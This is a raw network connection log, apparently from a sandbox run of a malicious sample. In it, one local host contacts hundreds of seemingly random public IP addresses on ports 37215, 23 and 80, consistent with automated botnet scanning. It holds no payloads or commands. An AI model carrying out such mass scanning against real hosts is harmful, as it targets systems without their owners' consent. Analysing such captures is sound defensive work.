Feb 4, 2025 18:17:32.383714914 CET	35556	37215	192.168.2.23	41.127.68.63
Feb 4, 2025 18:17:32.383714914 CET	35556	37215	192.168.2.23	156.110.107.79
Feb 4, 2025 18:17:32.383714914 CET	35556	37215	192.168.2.23	41.20.17.74
Feb 4, 2025 18:17:32.383717060 CET	23	47076	206.250.117.220	192.168.2.23
Feb 4, 2025 18:17:32.383719921 CET	35556	37215	192.168.2.23	197.152.160.135
Feb 4, 2025 18:17:32.383719921 CET	47076	23	192.168.2.23	64.2.2.11
Feb 4, 2025 18:17:32.383724928 CET	35556	37215	192.168.2.23	197.172.38.166
Feb 4, 2025 18:17:32.383729935 CET	35556	37215	192.168.2.23	41.212.140.55
Feb 4, 2025 18:17:32.383730888 CET	35556	37215	192.168.2.23	156.150.184.30
Feb 4, 2025 18:17:32.383730888 CET	47076	23	192.168.2.23	147.153.103.149
Feb 4, 2025 18:17:32.383732080 CET	35556	37215	192.168.2.23	41.103.242.255
Feb 4, 2025 18:17:32.383744001 CET	35556	37215	192.168.2.23	197.136.140.228
Feb 4, 2025 18:17:32.383745909 CET	35556	37215	192.168.2.23	41.218.230.77
Feb 4, 2025 18:17:32.383747101 CET	35556	37215	192.168.2.23	197.57.59.165
Feb 4, 2025 18:17:32.383748055 CET	35556	37215	192.168.2.23	156.225.28.221
Feb 4, 2025 18:17:32.383749008 CET	35556	37215	192.168.2.23	197.243.141.158
Feb 4, 2025 18:17:32.383749008 CET	47076	23	192.168.2.23	131.212.111.214
Feb 4, 2025 18:17:32.383754015 CET	35556	37215	192.168.2.23	41.183.22.2
Feb 4, 2025 18:17:32.383754015 CET	35556	37215	192.168.2.23	197.165.97.23
Feb 4, 2025 18:17:32.383757114 CET	35556	37215	192.168.2.23	156.167.59.157
Feb 4, 2025 18:17:32.383761883 CET	47076	23	192.168.2.23	206.250.117.220
Feb 4, 2025 18:17:32.384027958 CET	23	47076	197.6.225.36	192.168.2.23
Feb 4, 2025 18:17:32.384068012 CET	47076	23	192.168.2.23	197.6.225.36
Feb 4, 2025 18:17:32.384080887 CET	23	47076	186.252.140.91	192.168.2.23
Feb 4, 2025 18:17:32.384092093 CET	23	47076	105.209.121.50	192.168.2.23
Feb 4, 2025 18:17:32.384100914 CET	23	47076	112.59.22.254	192.168.2.23
Feb 4, 2025 18:17:32.384110928 CET	23	47076	126.204.241.87	192.168.2.23
Feb 4, 2025 18:17:32.384120941 CET	47076	23	192.168.2.23	186.252.140.91
Feb 4, 2025 18:17:32.384123087 CET	23	47076	70.239.28.134	192.168.2.23
Feb 4, 2025 18:17:32.384126902 CET	47076	23	192.168.2.23	105.209.121.50
Feb 4, 2025 18:17:32.384128094 CET	47076	23	192.168.2.23	112.59.22.254
Feb 4, 2025 18:17:32.384133101 CET	23	47076	42.146.253.164	192.168.2.23
Feb 4, 2025 18:17:32.384140015 CET	47076	23	192.168.2.23	126.204.241.87
Feb 4, 2025 18:17:32.384159088 CET	47076	23	192.168.2.23	70.239.28.134
Feb 4, 2025 18:17:32.384162903 CET	47076	23	192.168.2.23	42.146.253.164
Feb 4, 2025 18:17:32.384232044 CET	23	47076	76.254.235.231	192.168.2.23
Feb 4, 2025 18:17:32.384243011 CET	23	47076	68.224.150.122	192.168.2.23
Feb 4, 2025 18:17:32.384259939 CET	23	47076	97.254.3.21	192.168.2.23
Feb 4, 2025 18:17:32.384268999 CET	23	47076	83.243.144.217	192.168.2.23
Feb 4, 2025 18:17:32.384278059 CET	23	47076	180.253.95.153	192.168.2.23
Feb 4, 2025 18:17:32.384279013 CET	47076	23	192.168.2.23	68.224.150.122
Feb 4, 2025 18:17:32.384288073 CET	23	47076	135.206.38.250	192.168.2.23
Feb 4, 2025 18:17:32.384289026 CET	47076	23	192.168.2.23	97.254.3.21
Feb 4, 2025 18:17:32.384299994 CET	47076	23	192.168.2.23	83.243.144.217
Feb 4, 2025 18:17:32.384304047 CET	23	47076	4.74.229.32	192.168.2.23
Feb 4, 2025 18:17:32.384305954 CET	47076	23	192.168.2.23	76.254.235.231
Feb 4, 2025 18:17:32.384305954 CET	47076	23	192.168.2.23	180.253.95.153
Feb 4, 2025 18:17:32.384315014 CET	23	47076	206.134.227.218	192.168.2.23
Feb 4, 2025 18:17:32.384322882 CET	47076	23	192.168.2.23	135.206.38.250
Feb 4, 2025 18:17:32.384325027 CET	23	47076	205.149.193.221	192.168.2.23
Feb 4, 2025 18:17:32.384334087 CET	23	47076	207.39.149.165	192.168.2.23
Feb 4, 2025 18:17:32.384344101 CET	23	47076	52.177.180.128	192.168.2.23
Feb 4, 2025 18:17:32.384345055 CET	47076	23	192.168.2.23	4.74.229.32
Feb 4, 2025 18:17:32.384352922 CET	23	47076	166.37.106.32	192.168.2.23
Feb 4, 2025 18:17:32.384357929 CET	47076	23	192.168.2.23	205.149.193.221
Feb 4, 2025 18:17:32.384361029 CET	47076	23	192.168.2.23	207.39.149.165
Feb 4, 2025 18:17:32.384365082 CET	23	47076	89.40.99.77	192.168.2.23
Feb 4, 2025 18:17:32.384375095 CET	23	47076	58.215.171.116	192.168.2.23
Feb 4, 2025 18:17:32.384377003 CET	47076	23	192.168.2.23	52.177.180.128
Feb 4, 2025 18:17:32.384381056 CET	47076	23	192.168.2.23	206.134.227.218
Feb 4, 2025 18:17:32.384407997 CET	47076	23	192.168.2.23	58.215.171.116
Feb 4, 2025 18:17:32.384409904 CET	47076	23	192.168.2.23	166.37.106.32
Feb 4, 2025 18:17:32.384409904 CET	47076	23	192.168.2.23	89.40.99.77
Feb 4, 2025 18:17:32.384418964 CET	46308	80	192.168.2.23	182.95.153.139
Feb 4, 2025 18:17:32.384423018 CET	46308	80	192.168.2.23	50.72.185.94
Feb 4, 2025 18:17:32.384428978 CET	46308	80	192.168.2.23	73.43.81.159
Feb 4, 2025 18:17:32.384432077 CET	46308	80	192.168.2.23	84.196.115.3
Feb 4, 2025 18:17:32.384439945 CET	46308	80	192.168.2.23	145.66.191.110
Feb 4, 2025 18:17:32.384459972 CET	46308	80	192.168.2.23	126.8.80.242
Feb 4, 2025 18:17:32.384459972 CET	46308	80	192.168.2.23	172.59.145.232
Feb 4, 2025 18:17:32.384464979 CET	46308	80	192.168.2.23	115.53.36.183
Feb 4, 2025 18:17:32.384464979 CET	46308	80	192.168.2.23	100.53.62.65
Feb 4, 2025 18:17:32.384468079 CET	46308	80	192.168.2.23	213.93.155.30
Feb 4, 2025 18:17:32.384471893 CET	46308	80	192.168.2.23	201.232.105.99
Feb 4, 2025 18:17:32.384474039 CET	46308	80	192.168.2.23	223.209.218.72
Feb 4, 2025 18:17:32.384475946 CET	46308	80	192.168.2.23	52.125.72.255
Feb 4, 2025 18:17:32.384483099 CET	46308	80	192.168.2.23	60.31.232.222
Feb 4, 2025 18:17:32.384486914 CET	46308	80	192.168.2.23	171.193.65.99
Feb 4, 2025 18:17:32.384486914 CET	46308	80	192.168.2.23	74.55.29.43
Feb 4, 2025 18:17:32.384486914 CET	46308	80	192.168.2.23	38.203.93.50
Feb 4, 2025 18:17:32.384493113 CET	46308	80	192.168.2.23	147.248.190.238
Feb 4, 2025 18:17:32.384493113 CET	46308	80	192.168.2.23	196.177.113.185
Feb 4, 2025 18:17:32.384509087 CET	46308	80	192.168.2.23	97.209.198.22
Feb 4, 2025 18:17:32.384512901 CET	46308	80	192.168.2.23	105.212.126.162
Feb 4, 2025 18:17:32.384512901 CET	46308	80	192.168.2.23	18.144.51.102
Feb 4, 2025 18:17:32.384526968 CET	46308	80	192.168.2.23	82.18.41.201
Feb 4, 2025 18:17:32.384548903 CET	46308	80	192.168.2.23	64.69.128.133
Feb 4, 2025 18:17:32.384550095 CET	46308	80	192.168.2.23	34.137.131.13
Feb 4, 2025 18:17:32.384550095 CET	46308	80	192.168.2.23	182.228.213.50
Feb 4, 2025 18:17:32.384551048 CET	46308	80	192.168.2.23	193.254.204.249
Feb 4, 2025 18:17:32.384553909 CET	46308	80	192.168.2.23	185.234.24.65
Feb 4, 2025 18:17:32.384557009 CET	46308	80	192.168.2.23	132.231.219.169
Feb 4, 2025 18:17:32.384561062 CET	46308	80	192.168.2.23	12.134.150.177
Feb 4, 2025 18:17:32.384561062 CET	46308	80	192.168.2.23	86.207.112.185
Feb 4, 2025 18:17:32.384566069 CET	46308	80	192.168.2.23	114.219.255.180
Feb 4, 2025 18:17:32.384566069 CET	46308	80	192.168.2.23	153.121.60.243
Feb 4, 2025 18:17:32.384566069 CET	46308	80	192.168.2.23	170.11.154.59
Feb 4, 2025 18:17:32.384579897 CET	46308	80	192.168.2.23	138.18.233.59
Feb 4, 2025 18:17:32.384582043 CET	46308	80	192.168.2.23	82.110.160.171
Feb 4, 2025 18:17:32.384583950 CET	46308	80	192.168.2.23	27.216.147.66
Feb 4, 2025 18:17:32.384598017 CET	46308	80	192.168.2.23	172.185.159.214
Feb 4, 2025 18:17:32.384598017 CET	46308	80	192.168.2.23	194.198.108.75
Feb 4, 2025 18:17:32.384599924 CET	46308	80	192.168.2.23	97.228.185.239
Feb 4, 2025 18:17:32.384599924 CET	46308	80	192.168.2.23	197.79.238.237
Feb 4, 2025 18:17:32.384603024 CET	46308	80	192.168.2.23	207.134.111.172
Feb 4, 2025 18:17:32.384603977 CET	46308	80	192.168.2.23	39.59.249.95
Feb 4, 2025 18:17:32.384603977 CET	46308	80	192.168.2.23	75.254.245.110
Feb 4, 2025 18:17:32.384610891 CET	46308	80	192.168.2.23	114.242.108.46
Feb 4, 2025 18:17:32.384610891 CET	46308	80	192.168.2.23	112.119.84.26
Feb 4, 2025 18:17:32.384613037 CET	46308	80	192.168.2.23	44.5.177.231
Feb 4, 2025 18:17:32.384617090 CET	46308	80	192.168.2.23	123.201.33.149
Feb 4, 2025 18:17:32.384622097 CET	46308	80	192.168.2.23	149.248.87.19
Feb 4, 2025 18:17:32.384622097 CET	46308	80	192.168.2.23	117.61.152.191
Feb 4, 2025 18:17:32.384622097 CET	46308	80	192.168.2.23	124.83.168.221
Feb 4, 2025 18:17:32.384622097 CET	46308	80	192.168.2.23	129.1.224.26
Feb 4, 2025 18:17:32.384624958 CET	46308	80	192.168.2.23	89.42.3.247
Feb 4, 2025 18:17:32.384624958 CET	46308	80	192.168.2.23	204.239.137.90
Feb 4, 2025 18:17:32.384629965 CET	46308	80	192.168.2.23	36.90.161.8
Feb 4, 2025 18:17:32.384644032 CET	46308	80	192.168.2.23	137.8.142.203
Feb 4, 2025 18:17:32.384644985 CET	46308	80	192.168.2.23	201.38.101.205
Feb 4, 2025 18:17:32.384644032 CET	46308	80	192.168.2.23	146.209.30.95
Feb 4, 2025 18:17:32.384644985 CET	46308	80	192.168.2.23	145.163.229.45
Feb 4, 2025 18:17:32.384646893 CET	46308	80	192.168.2.23	170.161.89.216
Feb 4, 2025 18:17:32.384656906 CET	46308	80	192.168.2.23	8.59.181.71
Feb 4, 2025 18:17:32.384656906 CET	46308	80	192.168.2.23	200.237.235.172
Feb 4, 2025 18:17:32.384658098 CET	46308	80	192.168.2.23	72.141.159.65
Feb 4, 2025 18:17:32.384658098 CET	46308	80	192.168.2.23	216.77.145.143
Feb 4, 2025 18:17:32.384665966 CET	46308	80	192.168.2.23	35.93.65.112
Feb 4, 2025 18:17:32.384665966 CET	46308	80	192.168.2.23	131.214.249.0
Feb 4, 2025 18:17:32.384665966 CET	46308	80	192.168.2.23	107.120.242.66
Feb 4, 2025 18:17:32.384665966 CET	46308	80	192.168.2.23	166.248.63.190
Feb 4, 2025 18:17:32.384675980 CET	46308	80	192.168.2.23	115.23.255.107
Feb 4, 2025 18:17:32.384680986 CET	46308	80	192.168.2.23	43.13.198.104
Feb 4, 2025 18:17:32.384680986 CET	46308	80	192.168.2.23	92.171.253.186
Feb 4, 2025 18:17:32.384685993 CET	46308	80	192.168.2.23	159.192.180.243
Feb 4, 2025 18:17:32.384686947 CET	46308	80	192.168.2.23	176.99.69.145
Feb 4, 2025 18:17:32.384689093 CET	46308	80	192.168.2.23	211.52.28.219
Feb 4, 2025 18:17:32.384702921 CET	46308	80	192.168.2.23	58.158.74.170
Feb 4, 2025 18:17:32.384721041 CET	46308	80	192.168.2.23	14.248.96.83
Feb 4, 2025 18:17:32.384721041 CET	46308	80	192.168.2.23	150.238.52.5
Feb 4, 2025 18:17:32.384721041 CET	46308	80	192.168.2.23	135.67.14.100
Feb 4, 2025 18:17:32.384727001 CET	46308	80	192.168.2.23	194.171.93.158
Feb 4, 2025 18:17:32.384727955 CET	46308	80	192.168.2.23	205.88.185.202
Feb 4, 2025 18:17:32.384727955 CET	46308	80	192.168.2.23	187.247.113.15
Feb 4, 2025 18:17:32.384740114 CET	46308	80	192.168.2.23	128.194.71.27
Feb 4, 2025 18:17:32.384747028 CET	46308	80	192.168.2.23	95.97.173.63
Feb 4, 2025 18:17:32.384747028 CET	46308	80	192.168.2.23	101.230.39.220
Feb 4, 2025 18:17:32.384749889 CET	46308	80	192.168.2.23	2.35.13.240
Feb 4, 2025 18:17:32.384749889 CET	46308	80	192.168.2.23	156.45.221.134
Feb 4, 2025 18:17:32.384749889 CET	46308	80	192.168.2.23	149.210.50.200
Feb 4, 2025 18:17:32.384757042 CET	46308	80	192.168.2.23	167.30.164.115
Feb 4, 2025 18:17:32.384758949 CET	46308	80	192.168.2.23	76.154.30.126
Feb 4, 2025 18:17:32.384759903 CET	46308	80	192.168.2.23	70.80.240.46
Feb 4, 2025 18:17:32.384759903 CET	46308	80	192.168.2.23	123.214.50.26
Feb 4, 2025 18:17:32.384761095 CET	46308	80	192.168.2.23	201.245.79.158
Feb 4, 2025 18:17:32.384763002 CET	46308	80	192.168.2.23	165.63.139.167
Feb 4, 2025 18:17:32.384763002 CET	46308	80	192.168.2.23	69.230.21.153
Feb 4, 2025 18:17:32.384774923 CET	46308	80	192.168.2.23	35.22.162.214
Feb 4, 2025 18:17:32.384776115 CET	46308	80	192.168.2.23	160.229.98.240
Feb 4, 2025 18:17:32.384776115 CET	46308	80	192.168.2.23	93.72.33.84
Feb 4, 2025 18:17:32.384776115 CET	46308	80	192.168.2.23	79.237.149.249
Feb 4, 2025 18:17:32.384776115 CET	46308	80	192.168.2.23	19.247.229.116
Feb 4, 2025 18:17:32.384779930 CET	46308	80	192.168.2.23	181.152.109.115
Feb 4, 2025 18:17:32.384780884 CET	46308	80	192.168.2.23	212.30.80.25
Feb 4, 2025 18:17:32.384780884 CET	46308	80	192.168.2.23	112.139.224.29
Feb 4, 2025 18:17:32.384794950 CET	46308	80	192.168.2.23	43.47.51.102
Feb 4, 2025 18:17:32.384797096 CET	46308	80	192.168.2.23	87.70.65.164
Feb 4, 2025 18:17:32.384797096 CET	46308	80	192.168.2.23	49.177.88.197
Feb 4, 2025 18:17:32.384798050 CET	46308	80	192.168.2.23	192.88.194.106
Feb 4, 2025 18:17:32.384805918 CET	46308	80	192.168.2.23	137.20.240.223
Feb 4, 2025 18:17:32.384805918 CET	46308	80	192.168.2.23	94.44.93.25
Feb 4, 2025 18:17:32.384814024 CET	46308	80	192.168.2.23	12.150.64.155
Feb 4, 2025 18:17:32.384820938 CET	46308	80	192.168.2.23	120.200.251.156
Feb 4, 2025 18:17:32.384833097 CET	46308	80	192.168.2.23	207.237.225.114
Feb 4, 2025 18:17:32.384838104 CET	46308	80	192.168.2.23	171.185.176.164
Feb 4, 2025 18:17:32.384838104 CET	46308	80	192.168.2.23	180.32.37.32
Feb 4, 2025 18:17:32.384838104 CET	46308	80	192.168.2.23	20.249.193.235
Feb 4, 2025 18:17:32.384841919 CET	46308	80	192.168.2.23	79.235.187.46
Feb 4, 2025 18:17:32.384841919 CET	46308	80	192.168.2.23	13.180.224.195
Feb 4, 2025 18:17:32.384850025 CET	46308	80	192.168.2.23	204.141.239.123
Feb 4, 2025 18:17:32.384860039 CET	46308	80	192.168.2.23	72.201.235.207
Feb 4, 2025 18:17:32.384860039 CET	46308	80	192.168.2.23	35.213.178.137
Feb 4, 2025 18:17:32.384871006 CET	46308	80	192.168.2.23	24.175.187.67
Feb 4, 2025 18:17:32.384871006 CET	46308	80	192.168.2.23	130.183.88.137
Feb 4, 2025 18:17:32.384877920 CET	46308	80	192.168.2.23	169.71.212.151
Feb 4, 2025 18:17:32.384881020 CET	46308	80	192.168.2.23	187.188.196.27
Feb 4, 2025 18:17:32.384885073 CET	46308	80	192.168.2.23	9.187.67.201
Feb 4, 2025 18:17:32.384888887 CET	46308	80	192.168.2.23	75.77.254.96
Feb 4, 2025 18:17:32.384891987 CET	46308	80	192.168.2.23	110.94.2.150
Feb 4, 2025 18:17:32.384907007 CET	46308	80	192.168.2.23	193.87.114.91
Feb 4, 2025 18:17:32.384929895 CET	46308	80	192.168.2.23	200.162.38.26
Feb 4, 2025 18:17:32.384948969 CET	46308	80	192.168.2.23	36.0.68.107
Feb 4, 2025 18:17:32.384951115 CET	46308	80	192.168.2.23	206.42.198.226
Feb 4, 2025 18:17:32.384951115 CET	46308	80	192.168.2.23	64.229.1.188
Feb 4, 2025 18:17:32.384957075 CET	46308	80	192.168.2.23	86.20.244.61
Feb 4, 2025 18:17:32.384958029 CET	46308	80	192.168.2.23	124.13.29.12
Feb 4, 2025 18:17:32.384974003 CET	46308	80	192.168.2.23	139.154.168.253
Feb 4, 2025 18:17:32.384974003 CET	46308	80	192.168.2.23	128.18.210.215
Feb 4, 2025 18:17:32.384974957 CET	46308	80	192.168.2.23	110.84.194.87
Feb 4, 2025 18:17:32.384974003 CET	46308	80	192.168.2.23	112.129.68.255
Feb 4, 2025 18:17:32.384975910 CET	46308	80	192.168.2.23	63.121.74.39
Feb 4, 2025 18:17:32.384974003 CET	46308	80	192.168.2.23	211.152.92.82
Feb 4, 2025 18:17:32.384984016 CET	46308	80	192.168.2.23	13.235.11.2
Feb 4, 2025 18:17:32.384985924 CET	46308	80	192.168.2.23	52.245.186.58
Feb 4, 2025 18:17:32.384985924 CET	46308	80	192.168.2.23	212.173.17.46
Feb 4, 2025 18:17:32.384985924 CET	46308	80	192.168.2.23	47.99.188.69
Feb 4, 2025 18:17:32.384991884 CET	46308	80	192.168.2.23	43.123.46.44
Feb 4, 2025 18:17:32.384993076 CET	46308	80	192.168.2.23	190.105.10.108
Feb 4, 2025 18:17:32.384999990 CET	46308	80	192.168.2.23	96.95.17.60
Feb 4, 2025 18:17:32.385000944 CET	46308	80	192.168.2.23	58.206.154.9
Feb 4, 2025 18:17:32.385000944 CET	46308	80	192.168.2.23	50.203.73.207
Feb 4, 2025 18:17:32.385001898 CET	46308	80	192.168.2.23	69.196.194.146
Feb 4, 2025 18:17:32.385004997 CET	46308	80	192.168.2.23	157.5.219.193
Feb 4, 2025 18:17:32.385008097 CET	46308	80	192.168.2.23	143.65.209.229
Feb 4, 2025 18:17:32.385009050 CET	46308	80	192.168.2.23	179.68.139.236
Feb 4, 2025 18:17:32.385008097 CET	46308	80	192.168.2.23	65.56.110.178
Feb 4, 2025 18:17:32.385009050 CET	46308	80	192.168.2.23	46.54.21.229
Feb 4, 2025 18:17:32.385010004 CET	46308	80	192.168.2.23	8.195.10.236
Feb 4, 2025 18:17:32.385010958 CET	46308	80	192.168.2.23	170.136.28.197
Feb 4, 2025 18:17:32.385010004 CET	46308	80	192.168.2.23	65.56.149.236
Feb 4, 2025 18:17:32.385036945 CET	46308	80	192.168.2.23	86.255.35.72
Feb 4, 2025 18:17:32.385039091 CET	46308	80	192.168.2.23	98.232.228.33
Feb 4, 2025 18:17:32.385039091 CET	46308	80	192.168.2.23	68.2.22.247
Feb 4, 2025 18:17:32.385057926 CET	46308	80	192.168.2.23	121.231.129.229
Feb 4, 2025 18:17:32.385059118 CET	46308	80	192.168.2.23	171.78.207.231
Feb 4, 2025 18:17:32.385061026 CET	46308	80	192.168.2.23	78.25.210.181
Feb 4, 2025 18:17:32.385061026 CET	46308	80	192.168.2.23	48.76.98.185
Feb 4, 2025 18:17:32.385061979 CET	46308	80	192.168.2.23	72.221.65.93
Feb 4, 2025 18:17:32.385070086 CET	46308	80	192.168.2.23	76.230.20.122
Feb 4, 2025 18:17:32.385070086 CET	46308	80	192.168.2.23	101.93.110.202
Feb 4, 2025 18:17:32.385073900 CET	46308	80	192.168.2.23	185.27.8.213
Feb 4, 2025 18:17:32.385073900 CET	46308	80	192.168.2.23	211.119.43.88
Feb 4, 2025 18:17:32.385075092 CET	46308	80	192.168.2.23	213.44.75.69
Feb 4, 2025 18:17:32.385075092 CET	46308	80	192.168.2.23	153.43.146.205
Feb 4, 2025 18:17:32.385085106 CET	46308	80	192.168.2.23	101.179.124.124
Feb 4, 2025 18:17:32.385092020 CET	46308	80	192.168.2.23	119.172.227.43
Feb 4, 2025 18:17:32.385096073 CET	46308	80	192.168.2.23	156.254.40.86
Feb 4, 2025 18:17:32.385098934 CET	46308	80	192.168.2.23	123.236.217.60
Feb 4, 2025 18:17:32.385113955 CET	46308	80	192.168.2.23	116.147.46.190
Feb 4, 2025 18:17:32.385113955 CET	46308	80	192.168.2.23	197.226.155.248
Feb 4, 2025 18:17:32.385117054 CET	46308	80	192.168.2.23	191.39.221.56
Feb 4, 2025 18:17:32.385117054 CET	46308	80	192.168.2.23	72.96.212.71
Feb 4, 2025 18:17:32.385117054 CET	46308	80	192.168.2.23	77.65.214.150
Feb 4, 2025 18:17:32.385119915 CET	46308	80	192.168.2.23	104.63.109.206
Feb 4, 2025 18:17:32.385132074 CET	46308	80	192.168.2.23	24.27.14.229
Feb 4, 2025 18:17:32.385133028 CET	46308	80	192.168.2.23	92.99.88.144
Feb 4, 2025 18:17:32.385150909 CET	46308	80	192.168.2.23	199.46.75.184
Feb 4, 2025 18:17:32.385150909 CET	46308	80	192.168.2.23	86.188.79.91
Feb 4, 2025 18:17:32.385150909 CET	46308	80	192.168.2.23	166.169.194.214
Feb 4, 2025 18:17:32.385153055 CET	46308	80	192.168.2.23	122.193.8.11
Feb 4, 2025 18:17:32.385153055 CET	46308	80	192.168.2.23	138.209.189.11
Feb 4, 2025 18:17:32.385157108 CET	46308	80	192.168.2.23	71.143.106.112
Feb 4, 2025 18:17:32.385174036 CET	46308	80	192.168.2.23	169.181.252.211
Feb 4, 2025 18:17:32.385174036 CET	46308	80	192.168.2.23	23.24.92.200
Feb 4, 2025 18:17:32.385179043 CET	46308	80	192.168.2.23	54.59.33.238
Feb 4, 2025 18:17:32.385179043 CET	46308	80	192.168.2.23	158.191.97.12
Feb 4, 2025 18:17:32.385179043 CET	46308	80	192.168.2.23	144.203.98.247
Feb 4, 2025 18:17:32.385179996 CET	46308	80	192.168.2.23	185.56.235.150
Feb 4, 2025 18:17:32.385180950 CET	46308	80	192.168.2.23	14.6.179.91
Feb 4, 2025 18:17:32.385179996 CET	46308	80	192.168.2.23	161.191.171.94
Feb 4, 2025 18:17:32.385200977 CET	46308	80	192.168.2.23	216.189.75.129
Feb 4, 2025 18:17:32.385204077 CET	46308	80	192.168.2.23	51.96.14.209
Feb 4, 2025 18:17:32.385204077 CET	46308	80	192.168.2.23	178.128.215.76
Feb 4, 2025 18:17:32.385217905 CET	46308	80	192.168.2.23	118.107.235.69
Feb 4, 2025 18:17:32.385219097 CET	46308	80	192.168.2.23	43.70.208.165
Feb 4, 2025 18:17:32.385219097 CET	46308	80	192.168.2.23	212.67.13.10
Feb 4, 2025 18:17:32.385226965 CET	46308	80	192.168.2.23	37.102.252.43
Feb 4, 2025 18:17:32.385242939 CET	46308	80	192.168.2.23	106.82.99.118
Feb 4, 2025 18:17:32.385242939 CET	46308	80	192.168.2.23	210.205.104.137
Feb 4, 2025 18:17:32.385250092 CET	46308	80	192.168.2.23	194.208.44.109
Feb 4, 2025 18:17:32.385262012 CET	46308	80	192.168.2.23	119.135.52.16
Feb 4, 2025 18:17:32.385262012 CET	46308	80	192.168.2.23	47.155.177.155
Feb 4, 2025 18:17:32.385265112 CET	46308	80	192.168.2.23	161.151.254.30
Feb 4, 2025 18:17:32.385265112 CET	46308	80	192.168.2.23	5.164.190.122
Feb 4, 2025 18:17:32.385272980 CET	46308	80	192.168.2.23	150.28.225.161
Feb 4, 2025 18:17:32.385274887 CET	46308	80	192.168.2.23	167.136.155.70
Feb 4, 2025 18:17:32.385288000 CET	46308	80	192.168.2.23	178.20.64.102
Feb 4, 2025 18:17:32.385288000 CET	46308	80	192.168.2.23	161.181.29.254
Feb 4, 2025 18:17:32.385289907 CET	46308	80	192.168.2.23	58.140.159.30
Feb 4, 2025 18:17:32.385291100 CET	46308	80	192.168.2.23	182.56.95.166
Feb 4, 2025 18:17:32.385292053 CET	46308	80	192.168.2.23	167.68.233.31
Feb 4, 2025 18:17:32.385298014 CET	46308	80	192.168.2.23	92.218.130.50
Feb 4, 2025 18:17:32.385310888 CET	46308	80	192.168.2.23	113.107.148.249
Feb 4, 2025 18:17:32.385319948 CET	46308	80	192.168.2.23	174.205.47.81
Feb 4, 2025 18:17:32.385320902 CET	46308	80	192.168.2.23	112.37.92.147
Feb 4, 2025 18:17:32.385325909 CET	46308	80	192.168.2.23	194.82.72.253
Feb 4, 2025 18:17:32.385325909 CET	46308	80	192.168.2.23	123.205.25.81
Feb 4, 2025 18:17:32.385329962 CET	46308	80	192.168.2.23	158.119.96.140
Feb 4, 2025 18:17:32.385332108 CET	46308	80	192.168.2.23	52.131.117.72
Feb 4, 2025 18:17:32.385350943 CET	46308	80	192.168.2.23	189.55.24.132
Feb 4, 2025 18:17:32.385355949 CET	46308	80	192.168.2.23	111.19.81.81
Feb 4, 2025 18:17:32.385356903 CET	46308	80	192.168.2.23	68.33.87.16
Feb 4, 2025 18:17:32.385359049 CET	46308	80	192.168.2.23	99.41.87.67
Feb 4, 2025 18:17:32.385360956 CET	46308	80	192.168.2.23	133.164.90.103
Feb 4, 2025 18:17:32.385360956 CET	46308	80	192.168.2.23	27.207.27.212
Feb 4, 2025 18:17:32.385360956 CET	46308	80	192.168.2.23	194.137.206.114
Feb 4, 2025 18:17:32.385366917 CET	46308	80	192.168.2.23	129.147.250.36
Feb 4, 2025 18:17:32.385374069 CET	46308	80	192.168.2.23	25.60.122.38
Feb 4, 2025 18:17:32.385376930 CET	46308	80	192.168.2.23	196.158.46.47
Feb 4, 2025 18:17:32.385377884 CET	46308	80	192.168.2.23	79.214.123.179
Feb 4, 2025 18:17:32.385377884 CET	46308	80	192.168.2.23	173.35.221.141
Feb 4, 2025 18:17:32.385394096 CET	46308	80	192.168.2.23	92.214.167.202
Feb 4, 2025 18:17:32.385396957 CET	46308	80	192.168.2.23	137.64.129.138
Feb 4, 2025 18:17:32.385401964 CET	46308	80	192.168.2.23	161.16.243.196
Feb 4, 2025 18:17:32.385422945 CET	46308	80	192.168.2.23	162.16.27.6
Feb 4, 2025 18:17:32.385416985 CET	46308	80	192.168.2.23	207.250.158.101
Feb 4, 2025 18:17:32.385416985 CET	46308	80	192.168.2.23	39.169.69.42
Feb 4, 2025 18:17:32.385426998 CET	46308	80	192.168.2.23	95.236.121.163
Feb 4, 2025 18:17:32.385440111 CET	46308	80	192.168.2.23	47.74.187.37
Feb 4, 2025 18:17:32.385441065 CET	46308	80	192.168.2.23	111.197.255.72
Feb 4, 2025 18:17:32.385440111 CET	46308	80	192.168.2.23	105.181.174.25
Feb 4, 2025 18:17:32.385441065 CET	46308	80	192.168.2.23	142.54.231.77
Feb 4, 2025 18:17:32.385440111 CET	46308	80	192.168.2.23	183.96.184.93
Feb 4, 2025 18:17:32.385442972 CET	46308	80	192.168.2.23	20.17.157.128
Feb 4, 2025 18:17:32.385447025 CET	46308	80	192.168.2.23	170.123.45.5
Feb 4, 2025 18:17:32.385447025 CET	46308	80	192.168.2.23	199.219.28.223
Feb 4, 2025 18:17:32.385447025 CET	46308	80	192.168.2.23	2.159.61.183
Feb 4, 2025 18:17:32.385447979 CET	46308	80	192.168.2.23	155.32.236.120
Feb 4, 2025 18:17:32.385447979 CET	46308	80	192.168.2.23	68.39.104.80
Feb 4, 2025 18:17:32.385451078 CET	46308	80	192.168.2.23	220.157.127.50
Feb 4, 2025 18:17:32.385452986 CET	46308	80	192.168.2.23	184.9.249.138
Feb 4, 2025 18:17:32.385452986 CET	46308	80	192.168.2.23	163.48.18.25
Feb 4, 2025 18:17:32.385452986 CET	46308	80	192.168.2.23	126.69.37.187
Feb 4, 2025 18:17:32.385459900 CET	46308	80	192.168.2.23	157.216.92.176
Feb 4, 2025 18:17:32.385468006 CET	46308	80	192.168.2.23	47.205.249.197
Feb 4, 2025 18:17:32.385479927 CET	46308	80	192.168.2.23	178.117.231.52
Feb 4, 2025 18:17:32.385483980 CET	46308	80	192.168.2.23	128.229.158.88
Feb 4, 2025 18:17:32.385483980 CET	46308	80	192.168.2.23	23.174.127.6
Feb 4, 2025 18:17:32.385483980 CET	46308	80	192.168.2.23	85.151.235.87
Feb 4, 2025 18:17:32.385488033 CET	46308	80	192.168.2.23	208.172.255.112
Feb 4, 2025 18:17:32.385488033 CET	46308	80	192.168.2.23	99.206.88.158
Feb 4, 2025 18:17:32.385489941 CET	46308	80	192.168.2.23	205.241.103.70
Feb 4, 2025 18:17:32.385489941 CET	46308	80	192.168.2.23	89.72.231.110
Feb 4, 2025 18:17:32.385493994 CET	46308	80	192.168.2.23	212.107.180.197
Feb 4, 2025 18:17:32.385493994 CET	46308	80	192.168.2.23	168.214.68.105
Feb 4, 2025 18:17:32.385500908 CET	46308	80	192.168.2.23	136.188.221.252
Feb 4, 2025 18:17:32.385504007 CET	46308	80	192.168.2.23	200.221.109.27
Feb 4, 2025 18:17:32.385504007 CET	46308	80	192.168.2.23	122.60.96.10
Feb 4, 2025 18:17:32.385508060 CET	46308	80	192.168.2.23	129.187.136.122
Feb 4, 2025 18:17:32.385516882 CET	46308	80	192.168.2.23	9.36.40.207
